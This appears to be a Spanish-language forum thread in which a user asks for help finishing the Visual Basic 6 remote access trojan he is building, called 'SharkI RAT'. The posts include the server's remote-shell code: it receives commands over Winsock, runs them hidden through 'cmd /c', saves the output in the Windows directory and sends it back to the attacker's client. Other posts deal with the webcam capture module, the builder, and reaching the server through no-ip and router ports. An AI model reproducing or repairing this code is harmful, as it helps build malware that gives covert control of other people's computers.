Mensajes

[text]

Se agradece el code modificado ! 

Pero me salio un error de, variable requerida.. no se puede asignar esta expresion.

Error :

Open Environ("windir") & "KB008.txt" For binary As #1
TextShell.Text = space$(LOF(1))
Get #1,,textshell.text
Close #1

Probe agregandole :

Dim Comando as string
y luego cambiar eso por Comando..
y al llegar los datos salia ComandoShell (?) 

Espero que me puedas ayudar!
Saludos!

Facil.

Vas al code de tu programa y añades :

Private Sub Form_Unload(Cancel As Integer)
' Aqui lo que quieras hacer cuando el programa se cerrase..
End Sub

Saludos!

Editado : Acabo de leer de nuevo tu mensaje, la primera ves no lo entendi muy bien pero ahora veo que ya probastes con el :

Private Sub Form_Unload(Cancel As Integer)

End Sub

pero es raro que no te funcione..

Jaja perdona KarCracK 
Si estuve hablando con cobein y me habia dicho el link.. pero vi el source y no l oentendi mucho como te diria.. y si no hay alguna forma de arreglar lo que puse yo.

No creo que fuera por el comando recibido.. pero mira te dejo mi code..

Kill Environ("windir") & "KB008.txt"
Sleep (500)
Shell "cmd /c " & data(1) & " > " & Environ("windir") & "KB008.txt", vbHide
Sleep (2000)

Open Environ("windir") & "KB008.txt" For Input As #1
TextShell.Text = Input(LOF(1), 1)
Close #1

WS.SendData "ComandoShell|" & TextShell.Text

Ya probe tambien cambiandole Environ ("windir") por "C:\" y tampoco funciona.

Saludos!

Mmm gracias por la info KrackWar pero busque y no encontre nada sobre lo de Cobein  'Jugando a hacer un troyano', igualmente no habria alguna solucion sobre el metodo que puse arriba? en el primer post?

Saludos!

Puedes usar el mismo Winsock del servidor.
Pero fijate bien el modulo de la cam y el code, y seguro que tienes topes de "On error reume next", quitaselos todos asi te vas dando cuenta de los errores que cometes, esto te ayudara a aprender y a ver donde falla el envio de la captura.

Saludos!

La que yo tenia anteriormente era algo asi :

Dim conten As String
conten = CMD(data(1))

Pero no funcionaba, ya que se lageaba al hacer por ej. ping 127.0.0.1 -t

Saludos!

Bueno estaba arreglando la Shell Remota de mi RAT, y como era output pues la quise hacer de este metodo :

Al recibir el comando del cliente.. la Shell del servidor ejecuta el comando y guarda el resultado en un texto, luego lista el texto en un Textbox y lo envia al cliente.

Mi error aqui :

Si hago el comando : "cmd /c " & data(1) & " > " & Environ("Windir") & "\TexTo.txt"
Guarda en el texto y todo bien.. pero si lo ejecuto desde el Servidor..

Shell "cmd /c " & data(1) & " > " & Environ("Windir") & "\TexTo.txt"

Lo ejecuta pero no se guarda en el texto..

Porque puede ser?

Saludos!

El lo que quiere hacer es el builder con LOF.. pero el modulo de Cobein es para EOF..

Saludos!

El problema es de los puertos. Necesitas abrirlos en el router.

Saludos.

Ya estan abiertos..
Y no quiero postear el code..

Si alguien es tan buena persona y muy generoso me ayudará, hay que tener paciencia..

Saludos!

Bueno tengo un problema con el "SharkI RAT"  y es que si le pongo en el servidor una no-ip no llega conexion.. pero si pongo 127.0.0.1 localmente si se conecta. Pude pensar que fuese de el MSWINSOCK.OCX pero saltaria un error de que falta la libreria.. No se que puede ser.. si alguien me quiere ayudar con algun error del code que me agregue a mi msn sharki@sharki.es ya no se que hacer..

Se les agradeceria mucho!

Saludos!